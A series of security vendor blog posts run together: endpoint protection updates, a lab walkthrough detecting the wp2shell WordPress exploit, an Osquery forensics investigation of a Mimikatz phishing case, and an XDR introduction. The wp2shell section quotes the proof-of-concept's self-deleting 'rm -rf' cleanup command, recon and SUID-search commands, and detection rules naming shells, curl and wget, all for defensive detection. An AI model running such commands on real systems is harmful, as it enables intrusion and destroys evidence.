We have three endpoint enhancements, all contributing to better endpoint prevention:

1. To be even more proactive about Bring Your Own Vulnerable Driver (BYOVD) attacks, we’re continuously monitoring public vulnerable driver disclosures and automatically generating endpoint protections
2. To improve your endpoint management efficiency, Automatic Troubleshooting is now available as a skill via Elastic Agent Builder
3. To expand our coverage surface, Elastic Defend is now available for Windows on ARM

Let’s dig into each one.

What is a BYOVD attack and how does it bypass endpoint protection?

BYOVD is a technique attackers use to gain kernel-level access on Windows machines by abusing legitimately signed drivers, letting them bypass defenses meant to block unauthorized code. Windows requires low-level software drivers that run in the kernel to be digitally signed, so rather than trying to sneak in something unsigned, attackers bring a driver that's already signed and trusted, but that has a known security flaw. That flaw is enough to disable security software or tamper with memory, and once an attacker has that level of access, security tools can no longer reliably protect the host.

This combination is why BYOVD has become so appealing to ransomware operators. The technique started as tradecraft mostly reserved for advanced state actors and red teams. Elastic Security Labs has tracked its shift into a routine step ransomware crews now use to tamper with or shut down endpoint security software before deploying their payload, as detailed in Stopping Vulnerable Driver Attacks.

Now, why does timing matter here? BYOVD attacks have depended on one thing for years: the delay between a vulnerable driver's public disclosure and a vendor shipping coverage for it. The moment a vulnerable driver becomes public knowledge, attackers already know about it. When it takes a vendor an entire product release to ship a protection, that gap is exactly what the technique depends on.

To close this gap, Elastic Security Labs Threat Command, Elastic's security research team now continuously monitors public vulnerable driver disclosure sources, including VirusTotal, the LOLDrivers catalog, and Microsoft's Vulnerable Driver Block List, and automatically generates and instantly deploys detection rules. Because we know any delay could be the difference between an exposed endpoint and a secured one, we’ve decoupled this coverage from any release cycle and publish the protections in the open.

How Elastic automatically generates vulnerable driver YARA rules

Elastic Security Labs has published detection coverage for vulnerable drivers for years. That coverage now runs through an always-on process that adds new drivers to the protections library as they're disclosed. An always- on process means coverage ships continuously, not whenever the next major release happens to land, and it doesn’t require an update or setting change. A driver flagged today becomes a driver Elastic Defend recognizes.

Elastic Security Labs Threat Command monitors three public sources for newly disclosed vulnerable and malicious drivers:

• VirusTotal
• The community-run LOLDrivers catalog
• Microsoft's Vulnerable Driver Block List

No single source catches everything, so the system checks all three, filters out drivers Elastic already covers, and builds new detection rules from the driver's digital signature and file characteristics.

One example: Avast's signed anti-rootkit driver (aswArPot.sys), which was abused to terminate protected processes from the kernel and has been leveraged in Cuba ransomware intrusions as well as GHOSTENGINE campaigns. Elastic generates detection coverage for weaponized drivers like these automatically as soon as they surface in the wild.

Every rule this process generates is public. Coverage lands in Elastic's open protections-artifacts repository alongside the rest of Elastic's detection content, so a security team can verify it directly before applying it to their systems. The sources are named and the rules themselves are published in the open, unlike a vendor's private threat feed. You can see which driver triggered a rule, which source flagged it, and inspect the detection logic itself.

This process has taken coverage from an initial 65 rules in 2023 to more than 800 known vulnerable drivers today, and the number keeps growing. These protections ship through Elastic Security's malware protection, so make sure it's enabled and set to Prevent to get the full benefit.

Signature coverage is also just one layer though. This automated coverage sits alongside protections Elastic Defend has carried for years: validating drivers against a blocklist before they're allowed to load and flagging drivers the moment they're seen for the first time in an environment. A newly disclosed driver doesn't have to wait on a signature alone to be caught doing something suspicious, and a driver built to slip past one layer still has to get past the others built to detect it.

Automatic endpoint troubleshooting in Elastic Agent Builder, now available as a skill

The automatic troubleshooting skill in Elastic Agent Builder flags policy and performance issues, bringing automation and natural language chat to endpoint diagnosis. Just like the existing Automatic Troubleshooting feature scans for and surfaces known endpoint issues, this skill also lets you ask questions, get a diagnosis, and receive specific remediation guidance. It handles the failures that consume the most investigation time: third-party antivirus conflicts, policy application failures, and the errors that typically send analysts into logs for hours.

The skill runs continuously to identify issues’ root causes, tell you what to fix, what commands to run, and what data to collect, all available the second you’re aware of an issue. The existing automatic troubleshooting feature remains available; this skill sits alongside it as a faster path to resolution, specifically tailored for teams that want to work through issues conversationally.

Windows on ARM: Elastic Defend coverage for Snapdragon and Copilot+ PCs

With the increased popularity of ARM processors, Snapdragon laptops, Copilot+ PCs, ARM workstations are more commonly showing up in enterprises’ fleets. If your endpoint protection doesn't cover them, they're unmonitored, and an unmonitored endpoint is a gap an attacker can use. That’s why Elastic Defend has now expanded to cover Windows on ARM. ARM workstations, Snapdragon laptops, and Copilot+ PCs can enroll under your existing policy with the same detection rules and telemetry as x64 endpoints. As you add ARM devices to your fleet, they can enroll automatically to your existing policies.

Get started with Elastic Security today

Elastic Security has significant enhancements to endpoint protections, efficiencies for diagnosing and resolving performance issues, and expanding coverage to new systems, all aimed at shifting defenses earlier, to prevention at the endpoint.

Elastic Security Labs Threat Command now continuously monitors public vulnerable driver disclosure sources and automatically generates and instantly deploys protection rules, decoupled from any release cycle and published in the open. That speed matters when AI-driven attacks can move from one machine to the next in under a minute, faster than any response workflow can react.

Browse the rules directly in the elastic/protections-artifacts repo, alongside the rest of Elastic's open detection content and test out the automatic troubleshooting skill through Elastic Agent Builder.

Scanning followed immediately, and we are already seeing the same host footprint in customer telemetry: PHP and web server runtimes spawning shells, plugin directories appearing under wp-content/plugins/, and access-log markers from stock tooling.

This post is the defender-facing follow-up. We ran the public Icex0 PoC end-to-end in a lab with Elastic Defend, traced the attack chain in Kibana, and mapped each stage to the rules that fire. If you are patching and triaging right now, that rule walkthrough is the core of the post. We close with IOCs for quick hunts.

This post covers:

• What wp2shell is, which versions are exposed, and where to read the full technical breakdown.
• The PoC wave and what live telemetry looks like.
• An end-to-end lab run: PoC execution, the attack chain on disk, and each detection rule that triggers (and why).
• Network and host IOCs to hunt while public tooling is still unchanged.

Patch to 7.0.2 or 6.9.5 first. Check exposure at wp2shell.com and treat any internet-facing vulnerable instance as potentially compromised until patched.

Scope: public PoCs and observed Linux host behavior

This post follows publicly available PoCs and the behaviors they produce on a Linux host, in conjunction with telemetry we have observed. Attackers can rename plugins, rewrite payloads, or drop webshells outside the plugin directory (for example, under wp-content/cache/, as SANS ISC documented). Hunt the IOCs while they are fresh, but rely on behavioral detection for durability.

What is wp2shell

wp2shell is a pre-authentication exploit chain against WordPress Core's REST batch endpoint (/wp-json/batch/v1, or /?rest_route=/batch/v1). No plugins required.

| WordPress branch | Exposure | Fixed in | | :---- | :---- | :---- | | <= 6.8.5 | Not affected by the full RCE chain | n/a | | 6.8.0 to 6.8.5 | SQL injection only (no full RCE chain on this branch) | Patch to a non-vulnerable release (6.8.6) | | 6.8.6 | Patched / Not vulnerable (SQL injection fixed) | Included in 6.8.6 | | 6.9.0 to 6.9.4 | Full pre-auth RCE chain | 6.9.5 | | 7.0.0 to 7.0.1 | Full pre-auth RCE chain | 7.0.2 |

The bug is a route confusion in WordPress batch handling. When sub-requests inside a batch call get out of sync, a request can be dispatched under the wrong REST handler. Public chains nest batches to bypass method restrictions, then reach a pre-auth SQL injection primitive through query parameters that should not apply on the route they land on.

From there, tooling differs: the Icex0 PoC escalates through a SQLi-to-administrator bridge and plugin upload; other actors drop a webshell straight to disk via SQL INTO OUTFILE. Both end the same way for defenders: attacker-controlled PHP on the host, then command execution through the web stack.

That is the short version. For the full chain, read Searchlight Cyber's advisory, their methodology write-up, and the Icex0 PoC README. SANS ISC captured an in-the-wild SQLi payload if you want raw HTTP context.

The activity maps to Exploit Public-Facing Application (T1190), Server Software Component: Web Shell (T1505.003), and Command and Scripting Interpreter (T1059).

wp2shell PoCs and what we're seeing in telemetry

Representative public repos appeared within hours of disclosure:

• Icex0/wp2shell-poc
• 0xsha/wp2shell
• sergiointel/wp2shell-poc
• dinosn/wp2shell-lab

Most drive the same batch entry point. Honeypots and telemetry show a mix of vulnerability scanning and full exploitation. On hosts with Elastic Defend, the post-exploitation picture is consistent:

• httpd, apache2, or php-fpm spawning a shell and running short discovery commands (sh -c id is a common first confirmation).
• New paths under wp-content/plugins/wp2shell_<hex>/ when the plugin-upload chain is used unchanged.
• Access-log markers such as POST /?rest_route=/batch/v1 with User-Agent: wp2shell on stock PoCs.

That web-server-to-shell relationship is the durable detection opportunity. PoC-specific strings help for triage, not for long-term coverage.

wp2shell lab walkthrough: from PoC execution to Elastic alerts

The Icex0 PoC drives the batch SQLi-to-administrator bridge, uploads a plugin-backed webshell, and executes commands through it. Each shell invocation generates a fresh random plugin name (wp2shell_<hex>), so repeated runs produce multiple plugin directories on the same host. That is what you see in the figures: one run may reference wp2shell_6a5566a6, another wp2shell_79b06a80 or wp2shell_360866a8. The hex suffix is a fragile IOC; the parent process and command patterns are not.

Every successful run follows the same skeleton:

1. Staging: apache2 (or another technology) writing plugin files
2. Execution: apache2 (or another technology) spawning a shell from the plugin working directory.

Elastic Defend records both, and the SIEM rules stack on top as commands execute.

wp2shell staging: plugin upload file events on disk

Before any shell alert fires, the file timeline tells the story. The staging sequence is consistent across runs:

In the figure above, we can see the following sequence of events:

1. Write probes: apache2 creates and deletes temp-write-test-* files under wp-content/ to confirm the directory is writable.
2. Upload staging: A zip lands under wp-content/uploads/ (for example wp2shell_6a5566a6.zip), with a temporary PHP upload file under /tmp/.
3. Unpack: PHP is written under wp-content/upgrade/wp2shell_<hex>/.../wp2shell_<hex>.php.
4. Install: The plugin directory is renamed into wp-content/plugins/wp2shell_<hex>/.

All of this is apache2 acting as the file writer, which is normal for a WordPress plugin upload but abnormal at this volume and with these filenames on a production site.

Alert overview: what fired during wp2shell exploitation

Running the PoC end-to-end on wp2shell-lab produced 12 alerts, all as www-data on the same host:

The alerts cover backdoor upload and the execution of suspicious and unusual commands. These rules are discussed below.

• Payload Execution by Web Server (EDR)
• PHP File Creation in WordPress Plugin Directory (SIEM)
• Suspicious Command Execution via Web Server (SIEM)
• Unusual Command Execution via Web Server (SIEM)

The alert table ties file paths to process activity. The two file-creation alerts reference plugin directories such as wp-content/plugins/wp2shell_79b06a80 and wp2shell_360866a8. The command-execution alerts show /usr/sbin/apache2 as the parent and /usr/bin/dash running sh -c -- id, whoami, and hostname from those same plugin paths. File creation fires on the drop; endpoint prevention fires when the shell runs; SIEM rules accumulate as each command executes.

Process lineage: apache2 spawning a shell in the analyzer graph

The Elastic analyzer graph makes the wp2shell web-server-to-shell transition visible in one view:

The chain is systemd → apache2 → apache2 → dash → hostname. The apache2 worker node shows the preceding file and network activity (8 file events, 7 network events in this session). The dash node is flagged as an analyzed event with 3 alerts attached and the process terminated by prevention. That is Payload Execution by Web Server doing its job: stopping the shell the moment apache2 crosses from serving HTTP to running a payload.

What commands does the wp2shell PoC run after exploitation?

Expanding the process and file event table shows everything the Icex0 PoC ran on the host, not just the first three discovery commands:

From process.working_directory set to wp-content/plugins/wp2shell_<hex>/, apache2 spawns dash with sh -c -- id; whoami; hostname. Each command runs as a child (id, whoami, hostname) under the web server parent. That is the pattern we see in telemetry and in the alert overview above. The attacker can of course choose what commands to run here.

The Icex0 PoC removes its own plugin after execution:

sh -c -- d=$(pwd); case "$d" in */wp-content/plugins/*) cd / && rm -rf "$d";; esac

That deletes the plugin directory and the staged zip. Responders should not treat a missing wp2shell_* folder as evidence the host is clean if process alerts already fired.

Attack discovery: correlating 25 wp2shell alerts into one incident

When you pivot from individual alerts to Attack discovery, the narrative pulls the session together. After multiple PoC runs and the extended recon pass, Elastic grouped 25 alerts on wp2shell-lab into a single incident:

Attack discovery summarizes the arc:

1. Initial access: wp2shell exploitation via the batch API. apache2 creates multiple plugin directories under wp-content/plugins/ (wp2shell_78b05e60, wp2shell_369fdaf8, and others across repeated runs).
2. Execution: apache2 spawns dash; prevention alerts fire on shell execution. The PoC runs discovery commands and attempts self-cleanup.
3. Persistence: Additional plugin drops from repeated shell invocations (wp2shell_4014c5b3, wp2shell_e358ff3b, wp2shell_8a5566a0, and more).
4. Discovery and privilege escalation: From a fresh webshell, reconnaissance commands including SUID enumeration (find / -perm -u=s -type f). This is where the extended lab pass adds alert volume beyond the initial id/whoami/hostname trio.

This demonstrates why we detect the behavior rather than the plugin name.

PHP File Creation in WordPress Plugin Directory

PHP File Creation in WordPress Plugin Directory fired several times in our primary run, on paths such as wp-content/plugins/wp2shell_79b06a80 and wp2shell_360866a8. The rule keys on Elastic Defend file events where a web-related process creates PHP under a WordPress plugin path:

file where event.type in ("creation", "change") and (
  process.name in (
    "nginx", "apache2", "httpd", "php-cgi", "php-fcgi",
    "php-cgi.cagefs",  "sw-engine-fpm",
    "wget", "curl", "bash", "dash", "sh", "tcsh", "csh",
    "zsh", "ksh", "fish", "mksh", "busybox"
  ) or
  process.name like ("php-fpm*", "lsphp*", "*.cgi", "*.fcgi")
) and
file.path like~ "*/wp-content/plugins/*"

It is the earliest structured signal in the alert set: the drop lands before the shell executes. The rule ships with a direct reference to the Icex0 PoC. It is scoped to plugins/ only and will not catch the SANS-documented INTO OUTFILE variant under wp-content/cache/, which is why the shell-spawn rules below matter as a second layer.

Payload Execution by Web Server

Payload Execution by Web Server is the Elastic Defend behavioral rule behind the two critical alerts in the overview. It matched when /usr/sbin/apache2 spawned /usr/bin/dash to run suspicious commands. The rule treats web server parents (apache2, httpd, nginx, php-fpm*, and others) launching a shell with high-risk command lines as payload execution. To avoid filling the whole blog with EQL queries, a snippet is displayed below:

process where event.type == "start" and event.action == "exec" and (
  process.parent.name in (
    "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne",
    "httpd.worker", "flask", "php-cgi", "php-fcgi", "php-cgi.cagefs", 
    "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman",
    "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm"
  ) or
  process.parent.name like ("php-fpm*", "gunicorn*", "*.cgi", "*.fcgi") or
  [...]
  [Additional web server technologies]
  [...]
) and
process.name in (
  "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox"
) and
process.args in ("-c", "-cl", "-lc") and
process.command_line like~ (
  [...]
  [Suspicious command lines]
  [...]
)

Discovery commands are explicitly in scope, alongside decoding pipelines, reverse shells, credential paths, and more. The full rule logic can be found here. Where prevention is enabled, the rule terminates the process via kill_process, which is why the analyzer graph shows dash as a terminated analyzed event. This is the tightest endpoint signal for "web RCE just succeeded."

Suspicious Command Execution via Web Server

Suspicious Command Execution via Web Server produced three alerts on the initial discovery commands and additional matches when we ran the extended recon pass. This rule is very similar to the previous rule, but does not have preventive actions, and therefore has fewer exclusions baked in, decreasing the risk of introducing false negatives.

Unusual Command Execution via Web Server

Unusual Command Execution via Web Server is a new terms rule: it uses statistics to understand which shell command lines each web-server parent normally runs on a host, then alerts on lines that break the baseline. It produced five alerts in our primary run, the highest count in the set.

Generally, a PoC invocation introduces command lines the host has never seen: compound discovery strings, recon one-liners with uname and find, and cleanup scripts that reference wp-content/plugins/. The rule casts a wider net than “Suspicious Command Execution”. When both fire on the same host within the same session, treat the cluster as high confidence.

Suspicious and Unusual Child Execution via Web Server

Two related SIEM rules cover cases where the web stack spawns non-shell children (interpreters, downloaders, reverse-shell helpers):

• Suspicious Child Execution via Web Server
• Unusual Child Execution via Web Server

They did not appear in the 12-alert overview because the Icex0 chain goes through dash and standard discovery binaries, which the command-execution rules already cover. They still belong in the same rule set on WordPress hosts: modified exploits that invoke curl | bash, python -c, or a reverse shell without passing through the discovery shortlist will land here instead.

Payload Downloaded via Curl or Wget by Web Server

Another rule worth mentioning is Payload Downloaded via Curl or Wget by Web Server. This is an EDR rule (with killing actions) that detects wget/curl invocations via a sh -c sequence, from web server parents. This is a common technique to download additional tooling once RCE was achieved on a host. Although it did not fire on the PoC, it may fire in a real attack.

Which Elastic rules should I enable for wp2shell?

Enable these pre-built Linux rules on WordPress hosts:

• PHP File Creation in WordPress Plugin Directory
• Suspicious Command Execution via Web Server
• Unusual Command Execution via Web Server
• Suspicious Child Execution via Web Server
• Unusual Child Execution via Web Server

Several building block rules are triggering on certain activity from the attack chain, ranging from file creation to reconnaissance commands, and are listed below:

• Unusual File Creation by Web Server
• Linux System Information Discovery
• System Owner/User Discovery Linux

Deploy Elastic Defend with prevention enabled on hosts that run WordPress. If your web stack uses a parent process not in the current lists, let us know so we can extend scope.

Hunting queries

Use these for quick hunts while tooling is still stock. Treat them as fragile: rename the plugin slug or change the User-Agent and most of them disappear. Behavioral rules above are the durable layer.

wp2shell network and access log indicators

• POST /?rest_route=/batch/v1 or POST /wp-json/batch/v1 with a nested JSON requests array.
• User-Agent: wp2shell, User-Agent: cve-2026-63030/1.0, or User-Agent: rezwp2shell on batch traffic.
• HTTP 207 Multi-Status responses on batch requests (supporting evidence, not standalone).
• Follow-on requests to /wp-admin/plugin-install.php, /wp-admin/update.php?action=upload-plugin, or /wp-json/wp/v2/users?context=edit.

wp2shell host artifacts

• Directories matching wp2shell_<hex> under wp-content/plugins/.
• New or modified .php under wp-content/plugins/ or wp-content/cache/.
• Write-test files temp-write-test-* under wp-content/ (seen in our lab run and in staging behavior).
• Unexpected WordPress administrator accounts created during the exploitation window.
• PHP webshell hashes published in open research (supplemental; prioritize process and file telemetry).

How to block wp2shell if you can't patch immediately

If you cannot patch immediately, block anonymous access to /wp-json/batch/v1 and /?rest_route=/batch/v1 at the edge, or disable anonymous REST access via a hardening plugin. Expect breakage of legitimate batch consumers; use only as a temporary measure until 7.0.2 or 6.9.5 is deployed.

wp2shell detection: patch first, then verify your coverage

wp2shell turns a REST batch parsing bug into pre-authenticated code execution on default WordPress installs. Public PoCs spread fast, and the host footprint is predictable: plugin files staged under wp-content/, then a web server parent spawning a shell that runs a malicious command.

We ran the Icex0 chain end-to-end in a lab and watched the detections line up with that sequence. PHP File Creation in WordPress Plugin Directory catches the drop. Payload Execution by Web Server fires first on the endpoint when apache2 runs the payload. Suspicious and Unusual Command Execution via Web Server adds SIEM depth on the same shell activity. Additional rules are in place to detect real-world activity beyond the PoC. Patch first, hunt the IOCs while they last, and lean on that behavioral stack for coverage that survives PoC renames.

Forensics today is no longer about collecting everything. It's about asking the right questions, in real time, across your entire environment.

This is where distributed, query-driven forensics comes in and why tools like Osquery have become foundational to modern Digital Forensics and Incident Response (DFIR). Most DFIR workflows have a hidden cost: the time lost switching between your endpoint detection and response (EDR), your security information and event management (SIEM), and your forensic tooling. Elastic Security eliminates that gap entirely, from a blocked alert to a deep-dive forensic query, without leaving the platform or losing investigative context.

Rethinking forensics in modern environments

DFIR has traditionally been treated as a post-incident activity. Evidence was collected, systems were imaged, and analysis happened after the attacker had already completed their objectives. That model assumed stability: stable hosts, predictable timelines, and the ability to pause systems for investigation.

Today, those assumptions no longer hold.

Infrastructure is dynamic, endpoints are frequently reimaged or short-lived, and attackers operate on timelines measured in minutes rather than days. Waiting to collect full forensic images isn’t just inefficient; it’s also operationally infeasible. By the time analysis begins, the system may no longer exist, or the attacker may have already moved laterally.

As a result, DFIR has evolved into a live, iterative discipline. Investigators no longer rely on full disk acquisition as a starting point. Instead, they interrogate endpoints directly, retrieving only the artifacts that matter, when they matter.

From disk imaging to distributed DFIR

This shift represents a fundamental change in how investigations are performed.

Rather than centralizing evidence and analyzing it in isolation, investigators now distribute their questions across the environment. Each endpoint becomes a source of truth that can be queried in real time. Instead of waiting hours for data collection, analysts can validate hypotheses in seconds, pivot quickly, and refine their investigation as new evidence emerges.

This model enables a far more responsive workflow. Questions lead to queries, queries lead to insights, and insights drive the next steps of the investigation.

Osquery as a forensic interface

At the center of this model is Osquery, which exposes operating system (OS) artifacts as structured tables that can be queried using SQL. Processes, network connections, file activity, registry entries, and execution artifacts become immediately accessible without the need for heavyweight collection.

This abstraction transforms the OS into a queryable forensic dataset. Instead of navigating multiple tools or collecting large volumes of raw data, investigators can focus on answering specific questions with precision.

To support this, Elastic doesn't just integrate Osquery Manager, but we also build our own Osquery extensions to cover critical forensic artifacts that aren’t natively available. We make these extensions available within Elastic Security and contribute them back to the community. This includes visibility into areas such as browser history, AmCache, and jumplists, enabling deeper insight into user activity and execution patterns directly from the endpoint. We have contributed to Osquery with YARA memory scanning and OpenHandles too.The Osquery results are automatically stored in an Elasticsearch index and can easily be mapped to the Elastic Common Schema (ECS).

Beyond individual live queries, Elastic also provides out-of-the-box Osquery curated queries designed for forensic investigations, also mapped to ECS. These queries target the forensic artifacts that matter most during an investigation, such as Prefetch files that prove execution, Shimcache entries that confirm a binary existed on disk, registry keys that expose persistence mechanisms, and scheduled tasks that reveal attacker footholds.

From alert triaging to forensic reconstruction

Alerts are often the entry point into an investigation, but in a modern security operations center (SOC), they signify active defense. Elastic Defend provides this first line of active protection. This native Elastic Endpoint Security integration operates at the kernel level for deep visibility and enforcement, consistently earning top AV-Comparatives scores. Beyond alerts, Elastic Defend provides continuous enforcement, stopping threats like ransomware, malware, and in-memory exploits, using advanced behavioral preventions. While investigations begin with a signal, damage is already mitigated.

However, once a threat is neutralized, the key critical question remains: What actually happened?

This is where investigating with Osquery becomes essential. While Elastic Defend neutralizes the threat and captures the real-time telemetry, Osquery acts as your deep-dive forensic interface. It allows you to interrogate the endpoint for specific, high-fidelity artifacts, such as execution history in the Shimcache or manual navigation in Shellbags, to reconstruct a definitive timeline with evidence that goes beyond telemetry.

Together, Elastic Defend and Osquery form a complementary system that spans the full detection and response lifecycle. One provides continuous visibility and alerting; the other delivers the forensic depth required to investigate and validate those alerts. This combination allows analysts to move easily from detection to investigation, bridging the gap between signal and understanding.

Hunts: Operationalizing forensic and threat hunting investigations

As investigations progress, many of the same questions are repeatedly asked across different incidents. Rather than rebuilding queries each time, these can be standardized into reusable hunts.

Apart from curated queries, Elastic also provides curated Osquery packs aligned with common attacker tactics and techniques. These packs can be scheduled and allow analysts to quickly validate suspicious process execution, identify potential defense evasion behavior, and detect signs of lateral movement without writing queries from scratch.

In this scenario, hunts enable the investigation to expand beyond a single host. Analysts can rapidly determine whether similar execution patterns or indicators exist elsewhere in the environment, significantly accelerating the investigation process.

Scaling the investigation

Once key indicators such as domains or file hashes are identified, the investigation can be extended across the entire environment. Queries used for validation can be reused to identify similar activity on other endpoints.

This approach allows analysts to determine the scope of the incident, identify additional affected systems, and prioritize response efforts based on impact. Osquery, combined with Elastic across the environment, enables centralized query execution and fleet-wide forensics investigations.

From investigation to response

Up to this point, the focus has been on understanding what happened. Modern DFIR, however, requires the ability to act on those findings immediately.

By combining Osquery with Elastic Defend, investigators can move directly from analysis to response within the same workflow.

Once malicious execution is confirmed, the affected host can be isolated to prevent further communication and reduce the risk of lateral movement. In situations requiring deeper analysis, investigators can also collect a memory dump from the endpoint.

This memory dump can be downloaded and analyzed using external tools, such as Volatility, enabling further investigation of in-memory activity that may not be visible through traditional artifacts.

The Osquery and Elastic Defend combination allows analysts to move easily from detection to investigation to response, reducing friction and accelerating the overall DFIR process.

Detection with Osquery: From telemetry to signal

While Osquery is often used for live investigations, it also plays an important role in detection. When executed through scheduled packs, Osquery continuously collects endpoint data that can be used within Elastic Security to create SIEM detection rules. The results of these queries are indexed in logs-Osquery_manager.result*, making them searchable and usable as a detection data source.

Each query execution is identified by the action.id field. For scheduled packs, this follows a consistent naming convention: pack_{pack_name}_{query_name}. This allows analysts to reference specific queries when building detection logic, effectively turning Osquery packs into reusable detection building blocks.

This creates a natural feedback loop between investigation and detection. Queries initially used during forensic analysis can be operationalized into scheduled packs, continuously running across the environment and surfacing suspicious behavior automatically, bridging the gap between reactive investigation and proactive detection. Moreover, Osquery can be run directly from alerts, as part of investigation guides and as a response action in a detection rule.

Investigation scenario: From malicious alert to root cause

Consider a scenario where a user receives a phishing email offering a “100% discount” through a shared download link. The message appears convincing enough to prompt interaction, leading the user to download a file from the provided link.

Shortly after, Elastic Defend triggers an alert indicating that malware execution was detected and terminated. The payload is identified as Mimikatz, a well-known tool used for credential access.

At this stage, the immediate threat has been blocked, but key questions remain unanswered. How did the file reach the endpoint? Was it executed by the user? Was this an isolated event or part of a broader attack?

Detection provides the signal but not the full story.

To understand the root cause, the investigation shifts to Osquery.

The first step is to identify how the file was introduced onto the system. Since the initial vector is a phishing link, browser artifacts provide a natural starting point. We’ll use the suspicious browser history query that removes all possible false positives from the Elastic browser history table.

This query helps identify whether the user accessed a suspicious link consistent with the phishing lure.

We see that the user lab1 accessed through Edge browser a link that, in theory, contains a discount zip file to be downloaded, and we can consider these findings as new indicators of compromise (IoCs).

In order to confirm whether the file was actually downloaded and therefore, the user clicked on the previous link, we can use the file table, checking for the presence of this zip file on disk, meaning the user clicked on that previous link. We’ll use the Elastic file query that also checks the file hash of that file on VirusTotal. We can see that this discount.zip file has a malicious reputation, being in reality Mimikatz.

Next, we validate whether a file was downloaded and executed as a result of that interaction. To determine whether the file was executed, we pivot into execution artifacts, such as Shimcache UserAssist, Shellbags, and Prefetch.

Shellbags clearly shows the drill-down behavior: The user didn't just open the folder; they navigated three levels deep into the x64 directory where the Mimikatz binary usually lives.

SELECT
  path,
  datetime(accessed_time, 'unixepoch') AS access_time
FROM shellbags
WHERE path LIKE '%discount%';

The shimcache tracks every executable that has been "seen" by the OS for compatibility purposes. Even if the file was never actually run, its presence here proves it existed in that path.

SELECT
  path,
  datetime(modified_time, 'unixepoch') AS last_run_human_readable,
  modified_time AS raw_timestamp
FROM shimcache
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';

NOTE: The "1970" date in the raw_timestamp column is a known forensics community issue. It results from a unit mismatch: Osquery stores timestamps in Unix epoch seconds, but the UI interprets this value as milliseconds. This calculation error compresses 56 years into roughly 20 days, causing the date to display as late January 1970 instead of April 2026. For forensic accuracy, the last_run_human_readable column remains the authoritative record, as it was correctly converted using second-based logic in the SQL query to reflect the true execution timeline.

To verify whether the user manually executed it, the userassist table is perfect. It tracks GUI-based execution (files launched via Windows Explorer).

SELECT
  path,
  count,
  datetime(last_execution_time, 'unixepoch') AS last_run_human_readable
FROM userassist
WHERE path LIKE '%discount%'
  OR path LIKE '%mimikatz%';

Prefetch is the black box that proves an application was actually launched. Analyzing the prefetch, we can get a timeline of the events, identifying that the root cause was a malicious phishing email.

SELECT
  filename,
  run_count,
  datetime(last_run_time, 'unixepoch') AS last_run_utc,
  last_run_time AS raw_timestamp
FROM prefetch
WHERE (
  filename LIKE 'OLK.EXE%' OR
  filename LIKE 'MSEDGE%' OR
  filename LIKE 'MIMIKATZ%'
)
AND last_run_time BETWEEN 1775815200 AND 1775822400
ORDER BY last_run_time ASC;

The forensic evidence confirms a linear attack path when the user lab1 initiated the new Outlook client, evidenced by the simultaneous execution of OLK.EXE and its integrated web engine, MSEDGEWEBVIEW2.EXE. This was immediately followed by MSEDGE.EXE, indicating the browser was summoned to handle the phishing redirect and download. The trail turns from automated activity to manual intent where Shellbags recorded the user deliberately navigating the extracted discount folder in their Downloads directory. This window of manual interaction eventually culminated in the final execution of MIMIKATZ.EXE. The 26-minute gap between the Shellbag entry (manual folder access) and the Prefetch entry (Mimikatz execution) is forensically consistent with a human-in-the-loop (HITL) attack scenario, where the user reads the email, clicks the link, waits for the download, extracts the zip, looks around the folder (Shellbags at 11:09), and finally works up the courage (or curiosity) to double-click the .exe.

Transform forensics to investigate and respond at scale

Twenty-six minutes. That's how long it took a user to go from opening a phishing email to executing Mimikatz. And it took us less time than that to reconstruct the entire attack chain, without a disk image, without a dedicated forensic workstation, and without leaving Elastic.

That's what scalable DFIR looks like in practice: not a process change, not a platform migration, but the ability to ask the right question of the right endpoint at the right moment and to get an answer before the attacker takes their next step.

The investigation never stops. Neither should your forensics.

Forensics is now essential for large-scale investigation and response, moving beyond being a mere post-incident activity. The evolution of forensics at Elastic continues, with our next phase focusing on incorporating automation and AI. Get ready to unlock the full power of forensics by combining it with workflows and agentic AI, we'll be diving into this topic in an upcoming blog post. Stay tuned!

Get started with Elastic Security

Start your free trial of Elastic Security today and experience the benefits of Elastic Defend and Osquery. Improve your forensics skills by enhancing your threat detection capabilities and gaining deeper visibility into potential threats before they escalate.

Frequently Asked Questions

Q: How do I perform forensic investigations at scale without disk imaging? A: Elastic Security combines Osquery and Elastic Defend to enable distributed, query-driven forensics across your entire fleet. Osquery exposes OS artifacts as SQL-queryable tables, so investigators can retrieve execution history, file activity, and registry entries from thousands of endpoints in real time without collecting full disk images.

Q: How do I reconstruct an attack timeline using Osquery? A: Elastic Security's Osquery integration gives you access to execution artifacts like Prefetch, Shimcache, UserAssist, and Shellbags as queryable tables. By chaining queries across these sources you can reconstruct the full sequence of user and attacker actions, including file downloads, folder navigation, and binary execution, without a forensic workstation.

Q: How does Osquery integrate with Elastic Security for incident response? A: Elastic Security includes Osquery Manager natively, with curated forensic queries and packs mapped to ECS. Results are indexed automatically, making them searchable alongside alert data and usable as detection rule inputs. Osquery can also be run directly from alerts, investigation guides, and detection rule response actions.

Q: Can I detect threats with Osquery in addition to investigating them? A: Yes. Scheduled Osquery packs continuously collect endpoint data that Elastic Security indexes under logs-osquery_manager.result*, which can be used as a detection data source for SIEM rules. Queries developed during forensic investigations can be operationalized into scheduled packs, creating a feedback loop between reactive investigation and proactive detection.

Security investigations rarely stay confined to a single host. Today’s attackers increasingly use automation and AI to compress multi-stage attacks into minutes, turning what once unfolded over days into coordinated activity across endpoints, identities, workloads, and cloud services within minutes.

While many attacks begin on an endpoint, investigators must quickly determine how that activity spreads across the environment. In many environments, per-endpoint licensing limits how broadly protection and telemetry can be deployed, creating protection gaps during these investigations.

Elastic Security XDR is built around that reality. It includes best-in-class endpoint protection, without per-endpoint licensing constraints, in an agentic security operations platform where endpoint telemetry, infrastructure signals, and supporting artifacts can be analyzed together.

This post explores how Elastic Security XDR supports investigations across endpoints, workloads, and the broader environment, highlighting tools and workflows that help analysts collect evidence, pivot across telemetry, and respond efficiently.

Endpoint at the heart of XDR

The 2025 Elastic Global Threat Report reveals that with 90% of malware targeting Windows, and browsers acting as the 'primary battleground', host-level visibility is essential to stopping a breach before it scales to the cloud. Elastic Defend, Elastic Security’s native endpoint protection, powers XDR from the endpoint outward. It not only prevents threats across Windows, macOS, and Linux, but also generates rich, investigation-grade telemetry that gives analysts the context they need to understand what happened on a host.

